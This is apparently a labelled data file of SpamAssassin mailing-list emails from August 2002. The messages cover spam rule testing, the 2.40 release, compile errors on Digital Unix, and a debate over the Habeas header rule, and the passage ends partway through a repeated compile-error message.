[SAtalk] test,"On Tuesday 27 August 2002 19:26 CET Leroy B. wrote: > Ignore... Can't. ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Steve Thomas"" ",,"Wed, 28 Aug 2002 07:45:18 -0700",RE: [SAtalk] Too funny,"| | 0 hits here. :( | I also get a lot of them. I think they're using the domain registry database to pull their victims' addresses. ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Malte S. Stretz"" ",spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 16:47:22 +0200",Re: [SAtalk] Too funny,"On Wednesday 28 August 2002 16:33 CET Theo Van Dinter wrote: > On Wed, Aug 28, 2002 at 04:20:52PM +0200, Malte S. Stretz wrote: > > I get about 3 of these per week. A google for trafficmagnet convinces > > me that they're worth their own rule... > > 0 hits here. :( I recently cleaned my spam corpus from them but these are my current results: OVERALL SPAM NONSPAM NAME 13929 995 12934 (all messages) 13 13 0 T_TRAFFICMAGNET I put it into cvs_rules_under_test, let's see what the 2.41 GA run thinks about it :) Malte -- -- Coding is art. -- ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Jeremy Mates ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 08:06:14 -0700",[SAtalk] Re: Too funny,"* Steve Thomas [2002-08-28T07:52-0700]: > I also get a lot of them. I think they're using the domain registry > database to pull their victims' addresses. Along with the usual webmaster@* and probably a dash of web harvesting on the side from the ones I have seen. A recent conversation in two lines: Me: Okay, trafficmagnet is being access mapped off now. Junior admin [catching up on email after conference]: Thank God! -- Jeremy Mates http://www.sial.org/ OpenPGP: 0x11C3D628 (4357 1D47 FF78 24BB 0FBF 7AA8 A846 9F86 11C3 D628) ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Malte S. Stretz"" ",spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 17:16:06 +0200",Re: [SAtalk] Too funny,"On Wednesday 28 August 2002 16:45 CET Steve Thomas wrote: > | 0 hits here. :( > > I also get a lot of them. I think they're using the domain registry > database to pull their victims' addresses. They are crawling through the pages and send their ""offers"" to all addresses they find. Theo won't every receive any offers as he doesn't publish his address there ;-) Malte -- -- Coding is art. -- ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Wed, 28 Aug 2002 09:15:57 -0700 (PDT)",[SAdev] [Bug 777] tests to find hand-written HTML,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=777 ------- Additional Comments From daniel@roe.ch 2002-08-28 09:15 ------- 3. usage of just like (ie. without ) which is obsolete (not sure whether some mailers still produce such broken html) 4. tag argument values sometimes enclosed in """", sometimes not 5. colour args without # in front of hex rgb code 6. colour args with non-6-digit rgb code (typo) 7. onMouseOver et al in nonconsistent case throughout the document Mind, those are just ideas. I'm pretty sure some or even most of them are not working in practice, but they might be worth checking out. ------- You are receiving this mail because: ------- You are on the CC list for the bug, or are watching someone who is. ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 28 Aug 2002 09:55:18 -0700","[SACVS] CVS: spamassassin/masses evolve.cxx,1.28,NONE","Update of /cvsroot/spamassassin/spamassassin/masses In directory usw-pr-cvs1:/tmp/cvs-serv6501/masses Removed Files: Tag: b2_4_0 evolve.cxx Log Message: removed old evolver --- evolve.cxx DELETED --- ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 28 Aug 2002 09:55:18 -0700","[SACVS] CVS: spamassassin MANIFEST,1.100.2.11,1.100.2.12","Update of /cvsroot/spamassassin/spamassassin In directory usw-pr-cvs1:/tmp/cvs-serv6501 Modified Files: Tag: b2_4_0 MANIFEST Log Message: removed old evolver Index: MANIFEST =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/MANIFEST,v retrieving revision 1.100.2.11 retrieving revision 1.100.2.12 diff -b -w -u -d -r1.100.2.11 -r1.100.2.12 --- MANIFEST 28 Aug 2002 13:50:15 -0000 1.100.2.11 +++ MANIFEST 28 Aug 2002 16:55:16 -0000 1.100.2.12 @@ -50,7 +50,6 @@ masses/CORPUS_POLICY masses/CORPUS_SUBMIT masses/craig-evolve.c -masses/evolve.cxx masses/freqdiff masses/hit-frequencies masses/lib/Mail/ArchiveIterator.pm ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 """Tanniel Simonian"" ",,"Wed, 28 Aug 2002 11:29:27 -0700 (PDT)",Re: [SAtalk] Too funny,"Well if you're talking about epiphany, which is in January, then yes it is 5 months.Some people do celebrate Christmas on january 6th, or even the 13th. But I am certain that what you are thinking is the correct thought. Please don't flame me. Just trying to be humerous =) Matt Kettler said: > On an unrelated, but similarly amusing note, a spam I received (and was > tagged by SA) today began with: > > > > I bet you haven't even realized that Christmas is just 5 months away, > > > did you? > > > Strangely, no I wasn't aware that Christmas was 5 months away. Here in > the US Christmas is a bit less than 4 months away. Where exactly is > the ""international month line"" anyway? I've never seen the -74400 > timezone before, but I bet it qualifies as INVALID_DATE_TZ_ABSURD :) > > > > > ------------------------------------------------------- > This sf.net email is sponsored by: Jabber - The world's fastest growing > real-time communications platform! Don't just IM. Build it in! > http://www.jabber.com/osdn/xim > _______________________________________________ > Spamassassin-talk mailing list > Spamassassin-talk@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/spamassassin-talk ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Phil R Lawrence ,Justin Mason ,"Wed, 28 Aug 2002 16:49:39 -0400",Re: [SAtalk] testing the install,"Justin Mason wrote: > Phil R Lawrence said: > > >>>something to watch out for is to use ""nomime"" => 1 in the Mail::Audit >>>ctor; the M:A folks changed the API there. >> >>What has MIME to do with it? I read in perldoc M:A that your suggestion >>is less expensive, but how does that help S:A? > > > M:A, for some reason, changes its base class depending on whether the > incoming message is mime or not. Therefore the Mail::Internet methods > suddenly become unavailable for MIME messages... > > (you do *not* want to know what I thought of that when I found it ;) As a new user of SA, I guess I'm having trouble connecting the dots. If I understand you: If I don't use the ""nomime"" => 1 option and I recieve MIME mail, the Mail::Internet modules become unavailable. Unavailable for which? MA? SA? What do these methods do? Does this mean my incoming MIME mail won't be checked by SA unless I specify ""nomime"" => 1? Thanks, Phil",0,0 yyyy@spamassassin.taint.org (Justin Mason),SpamAssassin-devel@example.sourceforge.net,"Wed, 28 Aug 2002 19:42:13 +0100",[SAdev] 2.40: ready for release?,"OK guys -- I reckon it's now Good Enough, modulo some minor score tweaking, or commenting of some more broken/high-FP-ing rules. What do you all think? are we ready to go? anyone run into any trouble with the new autoconf code, or found a bug from the merge of that spamc BSMTP-support patch? I expect there *will* be a 2.41 BTW. --j. ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Jim McCullars ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 13:47:14 -0500",[SAtalk] Compile error under Digital Unix,"Hi, I'm trying to build SA under Digital Unix 4.0f and am receiving a compile error (and many warnings) for spamc. The ""perl Makefile.PL"" does OK, but when I do the make, I get this: cc -std -fprm d -ieee -D_INTRINSICS -I/usr/local/include -DLANGUAGE_C -O4 spamd /spamc.c -o spamd/spamc -L/usr/local/lib -lbind -ldbm -ldb -lm -liconv -lutil cc: Error: spamd/spamc.c, line 50: In this declaration, ""in_addr_t"" has no linka ge and has a prior declaration in this scope at line number 592 in file /usr/inc lude/sys/types.h. (nolinkage) typedef unsigned long in_addr_t; /* base type for internet address */ ------------------------^ cc: Warning: spamd/spamc.c, line 169: In this statement, the referenced type of the pointer value ""msg_buf"" is ""char"", which is not compatible with ""unsigned ch ar"". (ptrmismatch) if((bytes = full_read (in, msg_buf, max_size+1024, max_size+1024)) > max_size) -----------------------------^ cc: Warning: spamd/spamc.c, line 174: In this statement, the referenced type of the pointer value ""header_buf"" is ""char"", which is not compatible with ""const un signed char"". (ptrmismatch) full_write (out,header_buf,bytes2); --------------------^ cc: Warning: spamd/spamc.c, line 202: In this statement, the referenced type of the pointer value ""header_buf"" is ""char"", which is not compatible with ""const un signed char"". (ptrmismatch) full_write (out,header_buf,bytes2); --------------------^ cc: Warning: spamd/spamc.c, line 203: In this statement, the referenced type of the pointer value ""msg_buf"" is ""char"", which is not compatible with ""const unsig ned char"". (ptrmismatch) full_write (out,msg_buf,bytes); --------------------^ cc: Warning: spamd/spamc.c, line 306: In this statement, the referenced type of the pointer value ""buf"" is ""char"", which is not compatible with ""unsigned char"". (ptrmismatch) if(full_read (in,buf,2,2) != 2 || !('\r' == buf[0] && '\n' == buf[1])) ---------------------------^ cc: Warning: spamd/spamc.c, line 321: In this statement, the referenced type of the pointer value ""buf"" is ""char"", which is not compatible with ""unsigned char"". (ptrmismatch) while((bytes=full_read (in,buf,8192, 8192)) > 0) -------------------------------^ cc: Warning: spamd/spamc.c, line 348: In this statement, the referenced type of the pointer value ""out_buf"" is ""char"", which is not compatible with ""const unsig ned char"". (ptrmismatch) full_write (out, out_buf, out_index); -----------------------^ cc: Warning: spamd/spamc.c, line 497: In this statement, the referenced type of the pointer value ""msg_buf"" is ""char"", which is not compatible with ""const unsig ned char"". (ptrmismatch) full_write (STDOUT_FILENO,msg_buf,amount_read); --------------------------------^ cc: Warning: spamd/spamc.c, line 512: In this statement, the referenced type of the pointer value ""msg_buf"" is ""char"", which is not compatible with ""const unsig ned char"". (ptrmismatch) full_write(STDOUT_FILENO,msg_buf,amount_read); -------------------------------^ *** Exit 1 Stop. Can anyone suggest a way to get around this? TIA... Jim McCullars The University of Alabama in Huntsville ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Robin Lynn Frank ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 11:48:12 -0700",[SAtalk] O.T. Habeus -- Why?,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I may be dense, but why would anyone want to utilize Habeus? To me, it looks like a potential backdoor to anyone's defenses against spam. If I were a spammer, I'd simply set up a server, send out my spam with the Habeus headers and continue till I was reasonably certain I'd been reported. Then I'd simply reconfigure the server and reconnect to a different IP. As long as no one can establish my connection to the web sites my spam is directing people to, I'm home free. Since I can set up spamassassin to I don't ""lose"" any email, what do I gain by making it easier for spam to get through?? - -- - ------------------------------------------------------------------------ Robin Lynn Frank---Director of Operations---Paradigm, Omega, LLC http://paradigm-omega.com http://paradigm-omega.net 2002. All rights reserved. No duplication/dissemination permitted. Use of PGP/GPG encrypted mail preferred. No HTML/attachments accepted. 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Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """rODbegbie"" ",",","Wed, 28 Aug 2002 14:55:43 -0400",Re: [SAdev] 2.40: ready for release? *NO*,"This is a multi-part message in MIME format. ------=_NextPart_000_0088_01C24EA2.FC21D7A0 Content-Type: text/plain; charset=""Windows-1252"" Content-Transfer-Encoding: 7bit Justin Mason wrote: > OK guys -- I reckon it's now Good Enough, modulo some minor score > tweaking, or commenting of some more broken/high-FP-ing rules. > > What do you all think? are we ready to go? anyone run into any trouble > with the new autoconf code, or found a bug from the merge of that spamc > BSMTP-support patch? I just checked out b2_4_0 from CVS and 'make test' fails horribly. It seems to be looking in my site_perl SpamAssassin code, not the build directory. Example error: Failed to run FROM_AND_TO_SAME_5 SpamAssassin test, skipping: (Can't locate object method ""check_for_from_to_same"" via package ""Mail::SpamAssassin::PerMsgStatus"" at /usr/local/lib/perl5/site_perl/5.8.0/Mail/SpamAssassin/PerMsgStatus.pm line 1701. ) Anyone else seeing this? rOD. -- ""If you're dumb, surround yourself with smart people; and if you're smart, surround yourself with smart people who disagree with you."" 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Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Michael Clark ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 14:57:39 -0400",[SAtalk] updating SA,"To update spamassasin, all I need to do is install the new tar.gz file as if it were a new installation? I don't need to stop incoming mail or anything like that? Thanks, Mike -- Michael Clark, Webmaster Center for Democracy and Technology 1634 Eye Street NW, Suite 1100 Washington, DC 20006 voice: 202-637-9800 http://www.cdt.org/ Join our Activist Network! Your participation can make a difference! http://www.cdt.org/join/ ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Rossz Vamos-Wentworth"" ",spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 12:56:10 -0800",Re: [SAtalk] custom score for a given domain?,"> the number 1 ISP in France and the third ISP in > Europe Wanadoo.fr is using non RFC2822 compliant > mail servers: Wanadoo.fr is notorious for being unresponsive to spam abuse complaints. Some of the more militant admins have blocked them completely. Rossz ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Michael Moncur"" ",,"Wed, 28 Aug 2002 14:28:16 -0600",RE: [SAtalk] O.T. Habeus -- Why?,"> I may be dense, but why would anyone want to utilize Habeus? To > me, it looks like a potential backdoor to anyone's defenses against spam. You're not dense. I'm going to zero the habeas scores on my copy of SpamAssassin. I think they were added to SA quite prematurely. To me it's simple: 1. People who send me legitimate email have absolutely no motivation to use Habeas, at least until it gets lots more press, and even then only bulk-mailing companies like Amazon or eBay are going to bother, and I already whitelist them. Individuals won't bother. 2. Spammers have lots of motivation to forge the Habeas headers, and a good percentage of them are completely out of the legal reach of Habeas. I think it should be subjected to the same testing and scrutiny as any other potential new rule. When I test against my corpus here's what I get: OVERALL SPAM NONSPAM S/O SCORE NAME 13851 8919 4932 0.64 0.00 (all messages) 0 0 0 0.00 -1.00 HABEAS_SWE The score of -1.0 is pretty harmless right now, but it still looks like a useless rule so far. -- Michael Moncur mgm at starlingtech.com http://www.starlingtech.com/ ""Never interrupt your enemy when he is making a mistake."" --Napoleon ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Larry Rosenman ,Michael Clark ,28 Aug 2002 15:26:18 -0500,Re: [SAtalk] updating SA,"On Wed, 2002-08-28 at 13:57, Michael Clark wrote: > To update spamassasin, all I need to do is install the new tar.gz > file as if it were a new installation? I don't need to stop incoming > mail or anything like that? Thanks, Mike If you are using spamd, you will have to stop/restart it. -- Larry Rosenman http://www.lerctr.org/~ler Phone: +1 972-414-9812 E-Mail: ler@lerctr.org US Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749 ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Jesus Climent ,SpamAssassin-devel@example.sourceforge.net,"Wed, 28 Aug 2002 22:27:56 +0200",Re: [SAdev] 2.40: ready for release? *NO*,"--k3qmt+ucFURmlhDS Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Aug 28, 2002 at 07:42:13PM +0100, Justin Mason wrote: > OK guys -- I reckon it's now Good Enough, modulo some minor score > tweaking, or commenting of some more broken/high-FP-ing rules. >=20 Some make test errors here, too: Failed 6/20 test scripts, 70.00% okay. 17/182 subtests failed, 90.66% okay. J --=20 Jesus Climent | Unix System Admin | Helsinki, Finland. http://www.HispaLinux.es/~data/ | data.pandacrew.org ------------------------------------------------------ Please, encrypt mail address to me: GnuPG ID: 86946D69 FP: BB64 2339 1CAA 7064 E429 7E18 66FC 1D7F 8694 6D69 ------------------------------------------------------ Registered Linux user #66350 Debian 3.0 & Linux 2.4.19 Look at my fingers: four stones, four crates. Zero stones? ZERO CRATES! --Zorg (The Fifth Element) --k3qmt+ucFURmlhDS Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9bTJMZvwdf4aUbWkRAkpYAKDp15ePjG0prpbb/JSMICw6X3xOegCdGsU8 tdax7QmKey5Vul5DwFDESVc= =lyD1 -----END PGP SIGNATURE----- --k3qmt+ucFURmlhDS-- ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Brian McNett ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 13:34:11 -0700",Re: [SAtalk] O.T. Habeus -- Why?,"On Wednesday, August 28, 2002, at 11:48 AM, Robin Lynn Frank wrote: > If I were a spammer, I'd simply set up a server, send out my > spam with the > Habeus headers and continue till I was reasonably certain I'd > been reported. > Then I'd simply reconfigure the server and reconnect to a > different IP. As > long as no one can establish my connection to the web sites my spam is > directing people to, I'm home free. Uh... the reason is simple. Habeas runs something called the ""Habeas Infringers List"", and if you use their trademark without their permission, you'll end up on it. Then, when you send spam with the misappropriated header, users of SA (2.40 supports this) will tag your mail as spam, rather than let it through. This may be done independantly of your IP address, so be prepared to constantly change domain names, and move your servers as fast as you send spam. Also, that little haiku is a copyrighted work, so not only CAN Habeas sue, they MUST sue to protect their copyright. And since it's a trademark as well, that's a double-whammy. Habeas has some pretty high-powered legal people, who will gladly go to town on violators. The whole point here is to give them the legal leverage they need to put spammers out of business, and not only block mail from them, but allow through the things that really AREN'T spam. --B ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Robin Lynn Frank ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 13:50:07 -0700",Re: [SAtalk] O.T. Habeus -- Why?,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 28 August 2002 01:34 pm, Brian McNett wrote: > > Uh... the reason is simple. Habeas runs something called the > ""Habeas Infringers List"", and if you use their trademark without > their permission, you'll end up on it. Then, when you send spam > with the misappropriated header, users of SA (2.40 supports > this) will tag your mail as spam, rather than let it through. > This may be done independantly of your IP address, so be > prepared to constantly change domain names, and move your > servers as fast as you send spam. > > Also, that little haiku is a copyrighted work, so not only CAN > Habeas sue, they MUST sue to protect their copyright. And since > it's a trademark as well, that's a double-whammy. Habeas has > some pretty high-powered legal people, who will gladly go to > town on violators. > > The whole point here is to give them the legal leverage they > need to put spammers out of business, and not only block mail > from them, but allow through the things that really AREN'T spam. > > --B > And if a spammer forges headers??? - -- - ------------------------------------------------------------------------ Robin Lynn Frank---Director of Operations---Paradigm, Omega, LLC http://paradigm-omega.com http://paradigm-omega.net 2002. All rights reserved. No duplication/dissemination permitted. Use of PGP/GPG encrypted mail preferred. No HTML/attachments accepted. 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Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Klaus Heinz ,SpamAssassin-devel@example.sourceforge.net,"Wed, 28 Aug 2002 22:53:52 +0200",Re: [SAdev] 2.40: ready for release?,"Justin Mason wrote: > What do you all think? are we ready to go? anyone run into any trouble > with the new autoconf code, or found a bug from the merge of that spamc I am now preparing a small patch to configure.in for NetBSD (possibly also useful for Open- and FreeBSD, don't know). Should be ready and tested in the next half hour. If you think 2.40 is ready, I would suggest to wait just 24 hours more for possible reports by b2_4_0 users. Not everyone can follow the development during daytime (at work). ciao Klaus ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Don Newcomer ,SpamAssassin Talk list ,"Wed, 28 Aug 2002 17:07:53 -0400 (EDT)",[SAtalk] Tru64 compile of SA,"I'm a new user (or about to be, hopefully) of SA but I've run into some compilation errors that prevent me from installing. Rather than picking through the code, I thought I'd avoid reinventing the wheel and ask here. When I run the 'make', I get the following: cc: Error: spamd/spamc.c, line 50: In this declaration, ""in_addr_t"" has no linka ge and has a prior declaration in this scope at line number 572 in file /usr/inc lude/sys/types.h. (nolinkage) typedef unsigned long in_addr_t; /* base type for internet address */ ------------------------^ cc: Warning: spamd/spamc.c, line 169: In this statement, the referenced type of the pointer value ""msg_buf"" is ""char"", which is not compatible with ""unsigned ch ar"". (ptrmismatch) if((bytes = full_read (in, msg_buf, max_size+1024, max_size+1024)) > max_size) -----------------------------^ cc: Warning: spamd/spamc.c, line 174: In this statement, the referenced type of the pointer value ""header_buf"" is ""char"", which is not compatible with ""const un signed char"". (ptrmismatch) full_write (out,header_buf,bytes2); --------------------^ There are lots more where they came from. Any ideas what can be done? Thanks in advance. ================================================================================ Don Newcomer Dickinson College Associate Director, System and Network Services P.O. Box 1773 newcomer@dickinson.edu Carlisle, PA 17013 Phone: (717) 245-1256 FAX: (717) 245-1690 ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 28 Aug 2002 15:08:37 -0700","[SACVS] CVS: spamassassin/masses parse-rules-for-masses,1.1.2.2,1.1.2.3","Update of /cvsroot/spamassassin/spamassassin/masses In directory usw-pr-cvs1:/tmp/cvs-serv24879 Modified Files: Tag: b2_4_0 parse-rules-for-masses Log Message: fix for bug 784 Index: parse-rules-for-masses =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/masses/parse-rules-for-masses,v retrieving revision 1.1.2.2 retrieving revision 1.1.2.3 diff -b -w -u -d -r1.1.2.2 -r1.1.2.3 --- parse-rules-for-masses 28 Aug 2002 13:49:51 -0000 1.1.2.2 +++ parse-rules-for-masses 28 Aug 2002 22:08:35 -0000 1.1.2.3 @@ -28,6 +28,7 @@ if (!defined $outputfile) { $outputfile = ""./tmp/rules.pl""; + mkdir (""tmp"", 0755); } my $rules = { }; ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Daniel Quinlan ,Robin Lynn Frank ,28 Aug 2002 15:13:41 -0700,Re: [SAtalk] O.T. Habeus -- Why?,"Robin Lynn Frank writes: > I may be dense, but why would anyone want to utilize Habeus? To me, > it looks like a potential backdoor to anyone's defenses against spam. > > If I were a spammer, I'd simply set up a server, send out my spam with > the Habeus headers and continue till I was reasonably certain I'd been > reported. Then I'd simply reconfigure the server and reconnect to a > different IP. As long as no one can establish my connection to the > web sites my spam is directing people to, I'm home free. Here is the bug I opened: http://www.hughes-family.org/bugzilla/show_bug.cgi?id=762 RBLs have the same problem, but there is no negative RBL header rule with a -20 score that can be forged, so the problem is unique to Habeas. > Since I can set up spamassassin to I don't ""lose"" any email, what do I > gain by making it easier for spam to get through?? My primary issue is the magnitude of the negative score and that it was not determined empirically. I am also concerned that it was added after the rules freeze, that such a major change was not discussed in advance, etc. There's also no evidence that the rule will actually reduce FPs. People who are smart enough to use the rule are probably capable of writing email that doesn't look like spam (I'm not counting spam mailing lists which you need to be exempted from spam filtering). Dan ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Daniel Quinlan ,Arnaud Abelard ,28 Aug 2002 15:23:45 -0700,Re: [SAtalk] custom score for a given domain?,"> MSG_ID_ADDED_BY_MTA (4.0 points) > INVALID_MSGID (1.8 points) > MSG_ID_ADDED_BY_MTA_2 (1.6 points) Here are the new scores in the 2.40 branch (they may change, but they are better than before). score INVALID_MSGID 1.226 score MSG_ID_ADDED_BY_MTA 1.696 score MSG_ID_ADDED_BY_MTA_2 0.532 Total of 3.5 which is better than 7.4, I suppose. If they fixed their MSGID, it would help. I suppose we could allow comments without hurting spam detection too much, but I'm reluctant (it's pretty bizarre to put a comment after the Message-ID header). Can you open a bugzilla ticket for this one? Dan ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Jim McCullars ,spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 17:23:29 -0500 (CDT)",[SAtalk] Compile error under Digital Unix,"Hi, I'm trying to build SA under Digital Unix 4.0f and am receiving a compile error (and many warnings) for spamc. The ""perl Makefile.PL"" does OK, but when I do the make, I get this: cc -std -fprm d -ieee -D_INTRINSICS -I/usr/local/include -DLANGUAGE_C -O4 spamd /spamc.c -o spamd/spamc -L/usr/local/lib -lbind -ldbm -ldb -lm -liconv -lutil cc: Error: spamd/spamc.c, line 50: In this declaration, ""in_addr_t"" has no linkage and has a prior declaration in this scope at line number 592 in file /usr/include/sys/types.h. (nolinkage) typedef unsigned long in_addr_t; /* base type for internet address */ ------------------------^ cc: Warning: spamd/spamc.c, line 169: In this statement, the referenced type of the pointer value ""msg_buf"" is ""char"", which is not compatible with ""unsigned char"". (ptrmismatch) if((bytes = full_read (in, msg_buf, max_size+1024, max_size+1024)) > max_size) -----------------------------^ cc: Warning: spamd/spamc.c, line 174: In this statement, the referenced type of the pointer value ""header_buf"" is ""char"", which is not compatible with ""const unsigned char"". (ptrmismatch) full_write (out,header_buf,bytes2); --------------------^ cc: Warning: spamd/spamc.c, line 202: In this statement, the referenced type of the pointer value ""header_buf"" is ""char"", which is not compatible with ""const unsigned char"". (ptrmismatch) full_write (out,header_buf,bytes2); --------------------^ cc: Warning: spamd/spamc.c, line 203: In this statement, the referenced type of the pointer value ""msg_buf"" is ""char"", which is not compatible with ""const 